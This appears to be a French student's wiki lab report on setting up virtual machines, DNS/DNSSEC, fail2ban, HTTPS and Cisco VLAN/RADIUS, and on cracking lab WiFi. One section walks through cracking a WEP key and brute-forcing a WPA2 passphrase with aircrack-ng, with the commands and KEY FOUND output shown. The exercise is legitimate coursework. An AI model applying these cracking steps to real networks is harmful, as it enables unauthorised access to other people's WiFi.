==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d'un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d'un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d'un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l'autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l'extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d'identifier l'interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l'interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d'identifier l'adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l'adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s'arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s'interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l'on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite ces commandes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
conf t&lt;br /&gt;
&lt;br /&gt;
aaa new-model&lt;br /&gt;
aaa authentication login eap_student14 group radius_student14&lt;br /&gt;
radius-server host 192.168.69.3 auth-port 1812 acct-port 1813 key secret_student14        &lt;br /&gt;
aaa group server radius radius_student14                      &lt;br /&gt;
server 192.168.69.3 auth-port 1812 acct-port 1813        &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
dot11 ssid VM_SERVICES_14&lt;br /&gt;
vlan 24         &lt;br /&gt;
authentication open eap eap_student14 &lt;br /&gt;
authentication network-eap eap_student14&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12249</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12249"/>
		<updated>2026-02-11T14:35:21Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;'''BIERNACKI Antonin'''&lt;br /&gt;
&lt;br /&gt;
IOT 4&lt;br /&gt;
&lt;br /&gt;
2025-2026&lt;br /&gt;
&lt;br /&gt;
=== Infos concernant notre binôme : ===&lt;br /&gt;
Binôme : '''CHEKLAT Billel''' [[Atelier SysRes SE4 2025/2026 E13]]&lt;br /&gt;
&lt;br /&gt;
Mandataire : '''superman'''&lt;br /&gt;
&lt;br /&gt;
IP publique de la mandataire : '''193.48.57.169'''&lt;br /&gt;
&lt;br /&gt;
Service 1 (Antonin) : '''batman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Antonin) : '''deadpool.tech'''&lt;br /&gt;
&lt;br /&gt;
Nom service 2 (Billel) : '''catwoman'''&lt;br /&gt;
&lt;br /&gt;
Nom de domaine 1 (Billel) : '''dardevil.tech''' (le e manquant dans daredevil est une pure volonté du binôme et un choix pratique et judicieux pour ce TP ;) )&lt;br /&gt;
&lt;br /&gt;
Bridge : '''pont_ironman'''&lt;br /&gt;
&lt;br /&gt;
=== Introduction ===&lt;br /&gt;
&lt;br /&gt;
=== Création du bridge ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Création des machines virtuelles ===&lt;br /&gt;
Nous avons créé nos trois machines sur le serveur capbreton via les commandes suivantes (nous avons mit la version excalibur de devuan sur la mandataire pour essayer) :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.home,xvdb,w',&lt;br /&gt;
                  'phy:/dev/virtual/SE4.batman.var,xvdc,w',&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
